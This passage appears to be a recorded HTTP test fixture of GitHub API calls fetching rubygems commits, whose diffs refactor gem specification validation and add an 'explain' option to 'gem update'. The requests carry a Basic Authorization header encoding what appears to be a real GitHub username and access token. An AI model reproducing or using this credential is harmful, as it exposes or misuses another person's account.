dd8b"}],"stats":{"total":57,"additions":37,"deletions":20},"files":[{"sha":"2b9abd62cbb33bf0215a00caa7e69eaeb11f92ad","filename":"lib/rubygems/specification.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790/lib/rubygems/specification.rb","raw_url":"https://github.com/rubygems/rubygems/raw/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790/lib/rubygems/specification.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification.rb?ref=bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","patch":"@@ -2682,7 +2682,7 @@ def validate packaging = true\n \n validation_policy = Gem::SpecificationPolicy.new(self)\n validation_policy.packaging = packaging\n- validation_policy.call\n+ validation_policy.validate\n ensure\n if $! or @warnings > 0 then\n alert_warning \"See http://guides.rubygems.org/specification-reference/ for help\""},{"sha":"55ed96d69418a4fea1bfe930eee25ac86c25ce0f","filename":"lib/rubygems/specification_policy.rb","status":"modified","additions":36,"deletions":19,"changes":55,"blob_url":"https://github.com/rubygems/rubygems/blob/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790/lib/rubygems/specification_policy.rb","raw_url":"https://github.com/rubygems/rubygems/raw/bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790/lib/rubygems/specification_policy.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/specification_policy.rb?ref=bdf1a8626bb8adbf2d2014d1ce478dc8ddf25790","patch":"@@ -1,10 +1,33 @@\n require ''delegate''\n+\n class Gem::SpecificationPolicy < SimpleDelegator\n VALID_NAME_PATTERN = /\\A[a-zA-Z0-9\\.\\-\\_]+\\z/ # :nodoc:\n \n+ VALID_URI_PATTERN = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z} # :nodoc:\n+\n+ METADATA_LINK_KEYS = %w[\n+ bug_tracker_uri\n+ changelog_uri\n+ documentation_uri\n+ homepage_uri\n+ mailing_list_uri\n+ source_code_uri\n+ wiki_uri\n+ ] # :nodoc:\n+\n+ ##\n+ # If set to true, run packaging-specific checks, as well.\n+\n attr_accessor :packaging\n \n- def call\n+ ##\n+ # Checks that the specification contains all required fields, and does a\n+ # very basic sanity check.\n+ #\n+ # Raises InvalidSpecificationException if the spec does not pass the\n+ # checks.\n+\n+ def validate\n validate_nil_attributes\n \n validate_rubygems_version\n@@ -43,24 +66,16 @@ def call\n true\n end\n \n+ ##\n+ # Implementation for Specification#validate_metadata\n+\n def validate_metadata\n unless Hash === metadata then\n raise Gem::InvalidSpecificationException,\n ''metadata must be a hash''\n end\n \n- url_validation_regex = %r{\\Ahttps?:\\/\\/([^\\s:@]+:[^\\s:@]*@)?[A-Za-z\\d\\-]+(\\.[A-Za-z\\d\\-]+)+\\.?(:\\d{1,5})?([\\/?]\\S*)?\\z}\n- link_keys = %w[\n- bug_tracker_uri\n- changelog_uri\n- documentation_uri\n- homepage_uri\n- mailing_list_uri\n- source_code_uri\n- wiki_uri\n- ]\n-\n- metadata.each do|key, value|\n+ metadata.each do |key, value|\n if !key.kind_of?(String) then\n raise Gem::InvalidSpecificationException,\n \"metadata keys must be a String\"\n@@ -81,8 +96,8 @@ def validate_metadata\n \"metadata value too large (#{value.size} > 1024)\"\n end\n \n- if link_keys.include? key then\n- if value !~ url_validation_regex then\n+ if METADATA_LINK_KEYS.include? key then\n+ if value !~ VALID_URI_PATTERN then\n raise Gem::InvalidSpecificationException,\n \"metadata[''#{key}''] has invalid link: #{value.inspect}\"\n end\n@@ -91,9 +106,8 @@ def validate_metadata\n end\n \n ##\n- # Checks that dependencies use requirements as we recommend. Warnings are\n- # issued when dependencies are open-ended or overly strict for semantic\n- # versioning.\n+ # Implementation for Specification#validate_dependencies\n+\n def validate_dependencies # :nodoc:\n # NOTE: see REFACTOR note in Gem::Dependency about types - this might be brittle\n seen = Gem::Dependency::TYPES.inject({}) { |types, type| types.merge({ type => {}}) }\n@@ -168,7 +182,10 @@ def validate_dependencies # :nodoc:\n end\n \n ##\n- # Checks to see if the files to be packaged are world-readable.\n+ # Issues a warning for each file to be packaged which is world-readable.\n+ #\n+ # Implementation for Specification#validate_permissions\n+\n def validate_permissions\n return if Gem.win_platform?\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:46 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/df158cc069e65e4b456c640e640ed9b7993ee609 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4550' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"8c9d45d6eafc43f382c1221a30061ace" Last-Modified: - Mon, 11 Dec 2017 20:51:03 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.040987' X-Github-Request-Id: - A1E2:4D95:F47B82:1C83221:5A50E462 body: encoding: ASCII-8BIT string: !binary |- eyJzaGEiOiJkZjE1OGNjMDY5ZTY1ZTRiNDU2YzY0MGU2NDBlZDliNzk5M2VlNjA5IiwiY29tbWl0Ijp7ImF1dGhvciI6eyJuYW1lIjoiVGhlIEJ1bmRsZXIgQm90IiwiZW1haWwiOiJib3RAYnVuZGxlci5pbyIsImRhdGUiOiIyMDE3LTEyLTExVDIwOjUxOjAzWiJ9LCJjb21taXR0ZXIiOnsibmFtZSI6IlRoZSBCdW5kbGVyIEJvdCIsImVtYWlsIjoiYm90QGJ1bmRsZXIuaW8iLCJkYXRlIjoiMjAxNy0xMi0xMVQyMDo1MTowM1oifSwibWVzc2FnZSI6IkF1dG8gbWVyZ2Ugb2YgIzIxMTAgLSBydWJ5Z2Vtczpjb2xieS91cGRhdGUtZXhwbGFpbiwgcj1zZWdpZGRpbnNcblxuaGFuZGxlIHRoZSBleHBsYWluIG9wdGlvbiBpbiBnZW0gdXBkYXRlXG5cbuKApiBhbmQgdmVyc2lvbnMgb2YgZ2VtcyB0aGF0IGNhbiBiZSB1cGRhdGVkXG5cbiMgRGVzY3JpcHRpb246XG5cblRoaXMgUFIgZml4ZXMgIzIwNjggYnkgdXBkYXRpbmcgdGhlIGBnZW0gdXBkYXRlYCBjb21tYW5kIHRvIGhhbmRsZSB0aGUgZXhwbGFpbiBvcHRpb24uXG5cbiMgVGFza3M6XG5cbi0gWyBdIERlc2NyaWJlIHRoZSBwcm9ibGVtIC8gZmVhdHVyZVxuLSBbIF0gV3JpdGUgdGVzdHNcbi0gWyBdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cbi0gWyBdIEdldCBjb2RlIHJldmlldyBmcm9tIGNvd29ya2VycyAvIGZyaWVuZHNcblxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS4iLCJ0cmVlIjp7InNoYSI6IjQ0NWM1NjQwNTM0YmMzN2ZkNWZjMDIzNTU2NGU5ODIwZmZlMGI3ZjMiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90cmVlcy80NDVjNTY0MDUzNGJjMzdmZDVmYzAyMzU1NjRlOTgyMGZmZTBiN2YzIn0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L2NvbW1pdHMvZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOSIsImNvbW1lbnRfY291bnQiOjAsInZlcmlmaWNhdGlvbiI6eyJ2ZXJpZmllZCI6ZmFsc2UsInJlYXNvbiI6InVuc2lnbmVkIiwic2lnbmF0dXJlIjpudWxsLCJwYXlsb2FkIjpudWxsfX0sInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWl0cy9kZjE1OGNjMDY5ZTY1ZTRiNDU2YzY0MGU2NDBlZDliNzk5M2VlNjA5IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvY29tbWl0L2RmMTU4Y2MwNjllNjVlNGI0NTZjNjQwZTY0MGVkOWI3OTkzZWU2MDkiLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOS9jb21tZW50cyIsImF1dGhvciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImNvbW1pdHRlciI6eyJsb2dpbiI6ImJ1bmRsZXJib3QiLCJpZCI6MTM2MTQ2MjIsImF2YXRhcl91cmwiOiJodHRwczovL2F2YXRhcnMxLmdpdGh1YnVzZXJjb250ZW50LmNvbS91LzEzNjE0NjIyP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90IiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlcmJvdCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9idW5kbGVyYm90L3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3Qvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvYnVuZGxlcmJvdC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL2J1bmRsZXJib3QvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sInBhcmVudHMiOlt7InNoYSI6IjYyZGJkYzVhMDZmZDhkNzQwZTljZTY1YzhmNTYxOWQ4MDM2NjY3M2QiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHMvNjJkYmRjNWEwNmZkOGQ3NDBlOWNlNjVjOGY1NjE5ZDgwMzY2NjczZCIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdC82MmRiZGM1YTA2ZmQ4ZDc0MGU5Y2U2NWM4ZjU2MTlkODAzNjY2NzNkIn0seyJzaGEiOiI2M2U2ZWFlYmRmMWZlYmVhNmQzZThiZDMyNGZhY2JhNjAwOWMwYmI0IiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzLzYzZTZlYWViZGYxZmViZWE2ZDNlOGJkMzI0ZmFjYmE2MDA5YzBiYjQiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXQvNjNlNmVhZWJkZjFmZWJlYTZkM2U4YmQzMjRmYWNiYTYwMDljMGJiNCJ9XSwic3RhdHMiOnsidG90YWwiOjM1LCJhZGRpdGlvbnMiOjMxLCJkZWxldGlvbnMiOjR9LCJmaWxlcyI6W3sic2hhIjoiMWM4NmJhNjc1M2NiZjczNjA3MGRiMjhlZDRiNGIwZjIyMjZmODBkMyIsImZpbGVuYW1lIjoibGliL3J1YnlnZW1zL2NvbW1hbmRzL3VwZGF0ZV9jb21tYW5kLnJiIiwic3RhdHVzIjoibW9kaWZpZWQiLCJhZGRpdGlvbnMiOjEyLCJkZWxldGlvbnMiOjMsImNoYW5nZXMiOjE1LCJibG9iX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL2RmMTU4Y2MwNjllNjVlNGI0NTZjNjQwZTY0MGVkOWI3OTkzZWU2MDkvbGliL3J1YnlnZW1zL2NvbW1hbmRzL3VwZGF0ZV9jb21tYW5kLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOS9saWIvcnVieWdlbXMvY29tbWFuZHMvdXBkYXRlX2NvbW1hbmQucmIiLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL2xpYi9ydWJ5Z2Vtcy9jb21tYW5kcy91cGRhdGVfY29tbWFuZC5yYj9yZWY9ZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOSIsInBhdGNoIjoiQEAgLTg1LDE4ICs4NSwyNyBAQCBkZWYgY2hlY2tfdXBkYXRlX2FyZ3VtZW50cyAjIDpub2RvYzpcbiAgIGVuZFxuIFxuICAgZGVmIGV4ZWN1dGVcbi1cbiAgICAgaWYgb3B0aW9uc1s6c3lzdGVtXSB0aGVuXG4gICAgICAgdXBkYXRlX3J1YnlnZW1zXG4gICAgICAgcmV0dXJuXG4gICAgIGVuZFxuIFxuLSAgICBzYXkgXCJVcGRhdGluZyBpbnN0YWxsZWQgZ2Vtc1wiXG4tXG4gICAgIGhpZyA9IGhpZ2hlc3RfaW5zdGFsbGVkX2dlbXNcbiBcbiAgICAgZ2Vtc190b191cGRhdGUgPSB3aGljaF90b191cGRhdGUgaGlnLCBvcHRpb25zWzphcmdzXS51bmlxXG4gXG4rICAgIGlmIG9wdGlvbnNbOmV4cGxhaW5dXG4rICAgICAgc2F5IFwiR2VtcyB0byB1cGRhdGU6XCJcbitcbisgICAgICBnZW1zX3RvX3VwZGF0ZS5lYWNoIGRvIHwobmFtZSwgdmVyc2lvbil8XG4rICAgICAgICBzYXkgXCIgICN7bmFtZX0tI3t2ZXJzaW9ufVwiXG4rICAgICAgZW5kXG4rXG4rICAgICAgcmV0dXJuXG4rICAgIGVuZFxuK1xuKyAgICBzYXkgXCJVcGRhdGluZyBpbnN0YWxsZWQgZ2Vtc1wiXG4rXG4gICAgIHVwZGF0ZWQgPSB1cGRhdGVfZ2VtcyBnZW1zX3RvX3VwZGF0ZVxuIFxuICAgICB1cGRhdGVkX25hbWVzID0gdXBkYXRlZC5tYXAgeyB8c3BlY3wgc3BlYy5uYW1lIH0ifSx7InNoYSI6IjkxY2NlZTg2ODVjMGM3MmE0ZTJmNWUzYzVkMGY0ZmQyMzdhMjFhNWEiLCJmaWxlbmFtZSI6InRlc3QvcnVieWdlbXMvdGVzdF9nZW1fY29tbWFuZHNfdXBkYXRlX2NvbW1hbmQucmIiLCJzdGF0dXMiOiJtb2RpZmllZCIsImFkZGl0aW9ucyI6MTksImRlbGV0aW9ucyI6MSwiY2hhbmdlcyI6MjAsImJsb2JfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOS90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX3VwZGF0ZV9jb21tYW5kLnJiIiwicmF3X3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yYXcvZGYxNThjYzA2OWU2NWU0YjQ1NmM2NDBlNjQwZWQ5Yjc5OTNlZTYwOS90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX3VwZGF0ZV9jb21tYW5kLnJiIiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy90ZXN0L3J1YnlnZW1zL3Rlc3RfZ2VtX2NvbW1hbmRzX3VwZGF0ZV9jb21tYW5kLnJiP3JlZj1kZjE1OGNjMDY5ZTY1ZTRiNDU2YzY0MGU2NDBlZDliNzk5M2VlNjA5IiwicGF0Y2giOiJAQCAtNTA0LDUgKzUwNCwyMyBAQCBkZWYgdGVzdF91cGRhdGVfcnVieWdlbXNfYXJndW1lbnRzXzFfOF94XG4gICAgIGFzc2VydF9lbXB0eSBhcmd1bWVudHNcbiAgIGVuZFxuIFxuLWVuZFxuKyAgZGVmIHRlc3RfZXhwbGFpblxuKyAgICBzcGVjX2ZldGNoZXIgZG8gfGZldGNoZXJ8XG4rICAgICAgZmV0Y2hlci5kb3dubG9hZCAnYScsIDJcbisgICAgICBmZXRjaGVyLnNwZWMgJ2EnLCAxXG4rICAgIGVuZFxuK1xuKyAgICBAY21kLm9wdGlvbnNbOmV4cGxhaW5dID0gdHJ1ZVxuKyAgICBAY21kLm9wdGlvbnNbOmFyZ3NdID0gJXdbYV1cbitcbisgICAgdXNlX3VpIEB1aSBkb1xuKyAgICAgIEBjbWQuZXhlY3V0ZVxuKyAgICBlbmRcbitcbisgICAgb3V0ID0gQHVpLm91dHB1dC5zcGxpdCBcIlxcblwiXG4gXG4rICAgIGFzc2VydF9lcXVhbCBcIkdlbXMgdG8gdXBkYXRlOlwiLCBvdXQuc2hpZnRcbisgICAgYXNzZXJ0X2VxdWFsIFwiICBhLTJcIiwgb3V0LnNoaWZ0XG4rICAgIGFzc2VydF9lbXB0eSBvdXRcbisgIGVuZFxuK2VuZCJ9XX0= http_version: recorded_at: Sat, 06 Jan 2018 14:59:46 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/63e6eaebdf1febea6d3e8bd324facba6009c0bb4 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:46 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4549' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"77adefcad4275a9b77e6800aae19446e" Last-Modified: - Mon, 11 Dec 2017 12:26:45 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.041760' X-Github-Request-Id: - C4B4:4D95:F47B90:1C83236:5A50E462 body: encoding: ASCII-8BIT string: '{"sha":"63e6eaebdf1febea6d3e8bd324facba6009c0bb4","commit":{"author":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-11T12:26:45Z"},"committer":{"name":"Colby Swandale","email":"colby@taplaboratories.com","date":"2017-12-11T12:26:45Z"},"message":"handle the explain option in gem update command that prints the names and versions of gems that can be updated","tree":{"sha":"445c5640534bc37fd5fc0235564e9820ffe0b7f3","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/445c5640534bc37fd5fc0235564e9820ffe0b7f3"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/63e6eaebdf1febea6d3e8bd324facba6009c0bb4","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/63e6eaebdf1febea6d3e8bd324facba6009c0bb4","html_url":"https://github.com/rubygems/rubygems/commit/63e6eaebdf1febea6d3e8bd324facba6009c0bb4","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/63e6eaebdf1febea6d3e8bd324facba6009c0bb4/comments","author":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"committer":{"login":"colby-swandale","id":996377,"avatar_url":"https://avatars0.githubusercontent.com/u/996377?v=4","gravatar_id":"","url":"https://api.github.com/users/colby-swandale","html_url":"https://github.com/colby-swandale","followers_url":"https://api.github.com/users/colby-swandale/followers","following_url":"https://api.github.com/users/colby-swandale/following{/other_user}","gists_url":"https://api.github.com/users/colby-swandale/gists{/gist_id}","starred_url":"https://api.github.com/users/colby-swandale/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/colby-swandale/subscriptions","organizations_url":"https://api.github.com/users/colby-swandale/orgs","repos_url":"https://api.github.com/users/colby-swandale/repos","events_url":"https://api.github.com/users/colby-swandale/events{/privacy}","received_events_url":"https://api.github.com/users/colby-swandale/received_events","type":"User","site_admin":false},"parents":[{"sha":"62dbdc5a06fd8d740e9ce65c8f5619d80366673d","url":"https://api.github.com/repos/rubygems/rubygems/commits/62dbdc5a06fd8d740e9ce65c8f5619d80366673d","html_url":"https://github.com/rubygems/rubygems/commit/62dbdc5a06fd8d740e9ce65c8f5619d80366673d"}],"stats":{"total":35,"additions":31,"deletions":4},"files":[{"sha":"1c86ba6753cbf736070db28ed4b4b0f2226f80d3","filename":"lib/rubygems/commands/update_command.rb","status":"modified","additions":12,"deletions":3,"changes":15,"blob_url":"https://github.com/rubygems/rubygems/blob/63e6eaebdf1febea6d3e8bd324facba6009c0bb4/lib/rubygems/commands/update_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/63e6eaebdf1febea6d3e8bd324facba6009c0bb4/lib/rubygems/commands/update_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/update_command.rb?ref=63e6eaebdf1febea6d3e8bd324facba6009c0bb4","patch":"@@ -85,18 +85,27 @@ def check_update_arguments # :nodoc:\n end\n \n def execute\n-\n if options[:system] then\n update_rubygems\n return\n end\n \n- say \"Updating installed gems\"\n-\n hig = highest_installed_gems\n \n gems_to_update = which_to_update hig, options[:args].uniq\n \n+ if options[:explain]\n+ say \"Gems to update:\"\n+\n+ gems_to_update.each do |(name, version)|\n+ say \" #{name}-#{version}\"\n+ end\n+\n+ return\n+ end\n+\n+ say \"Updating installed gems\"\n+\n updated = update_gems gems_to_update\n \n updated_names = updated.map { |spec| spec.name }"},{"sha":"91ccee8685c0c72a4e2f5e3c5d0f4fd237a21a5a","filename":"test/rubygems/test_gem_commands_update_command.rb","status":"modified","additions":19,"deletions":1,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/63e6eaebdf1febea6d3e8bd324facba6009c0bb4/test/rubygems/test_gem_commands_update_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/63e6eaebdf1febea6d3e8bd324facba6009c0bb4/test/rubygems/test_gem_commands_update_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_update_command.rb?ref=63e6eaebdf1febea6d3e8bd324facba6009c0bb4","patch":"@@ -504,5 +504,23 @@ def test_update_rubygems_arguments_1_8_x\n assert_empty arguments\n end\n \n-end\n+ def test_explain\n+ spec_fetcher do |fetcher|\n+ fetcher.download ''a'', 2\n+ fetcher.spec ''a'', 1\n+ end\n+\n+ @cmd.options[:explain] = true\n+ @cmd.options[:args] = %w[a]\n+\n+ use_ui @ui do\n+ @cmd.execute\n+ end\n+\n+ out = @ui.output.split \"\\n\"\n \n+ assert_equal \"Gems to update:\", out.shift\n+ assert_equal \" a-2\", out.shift\n+ assert_empty out\n+ end\n+end"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:46 GMT - request: method: get uri: 